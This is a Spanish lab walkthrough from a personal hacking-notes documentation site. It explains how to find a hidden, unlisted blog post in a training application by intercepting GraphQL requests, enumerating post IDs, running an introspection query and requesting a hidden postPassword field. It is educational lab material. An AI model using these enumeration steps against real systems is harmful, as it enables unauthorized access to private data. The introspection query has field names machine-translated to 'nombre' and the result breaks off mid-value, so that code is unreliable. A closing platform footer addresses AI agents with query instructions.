> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/accessing-private-graphql-posts.md).

# Acceso a publicaciones privadas de GraphQL

### Acceso a publicaciones privadas de GraphQL

#### Objetivo del laboratorio

La página del blog contiene un artículo **oculto** (no listado) que contiene una **contraseña secreta**. Para validar el laboratorio, debes **encontrar esta publicación privada** y luego **enviar la contraseña**.

### 1) Reconocimiento del tráfico de GraphQL

Al llegar a la página principal del blog, se envía una solicitud de GraphQL en segundo plano (a través de la **Red** o **Burp** pestaña):

* Punto de conexión: `POST /GraphQL/v1`
* Operación: `getBlogSummaries`

<figure><img src="/files/2e920b8aacc1ff393d9c65c2cf0a024df0a8e3d7" alt=""><figcaption></figcaption></figure>

Ejemplo de solicitud interceptada:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Esta consulta devuelve las publicaciones visibles y sus `id`. Se observa que la lista contiene páginas/publicaciones **1, 2, 4 y 5**, pero que **falta la 3** → muy buen indicador de una publicación **privada / oculta**.

<figure><img src="/files/0df54a0d1861eea41fa04b6d7c10ef398d1addd6" alt=""><figcaption></figcaption></figure>

#### 2) Recuperación de una publicación por ID

Cuando abres un artículo, la aplicación envía otra consulta que recupera el contenido completo a partir del ID:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Esto confirma que podemos **enumerar** publicaciones modificando `variables.id`.

#### 3) Introspección para descubrir el diagrama

<figure><img src="/files/0cd0afed8f36c71847568b6aca2c302850c83baa" alt=""><figcaption></figcaption></figure>

Para ver todas las propiedades disponibles, usamos la**Consulta de introspección** (por ejemplo, a través de **InQL**, **pestaña de GraphQL**, o una carga útil estándar):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            nombre
        }
        mutationType {
            nombre
        }
        subscriptionType {
            nombre
        }
        types {
            ...FullType
        }
        directives {
            nombre
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nombre
    description
    fields(includeDeprecated: true) {
        nombre
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nombre
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nombre
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nombre
    ofType {
        kind
        nombre
        ofType {
            kind
            nombre
            ofType {
                kind
                nombre
            }
        }
    }
}gra
```

Respuesta: **200 OK**, muy grande (más de 1000 líneas).

<figure><img src="/files/2d5276eafbf771d053f63b588bc54f7ce6826f22" alt=""><figcaption></figcaption></figure>

El análisis revela un campo interesante: **`postPassword`**.

<figure><img src="/files/d0874fd4280ccfbe4cc41bf63f8c0388e80048b3" alt=""><figcaption></figcaption></figure>

### (4) Extracción de la publicación oculta (ID 3)

Reiniciar `getBlogPost` añadiendo el `postPassword` campo, luego apunta al ID faltante (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Variables :

```json
{
    "id":3
}
```

<figure><img src="/files/5109e7ab78554395837900f4ea930e92d68cd630" alt=""><figcaption></figcaption></figure>

Resultado: la respuesta contiene el valor de **`postPassword`** → c

<figure><img src="/files/a2f5be123284f8af1d18a33050e8ac15a0cceddf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
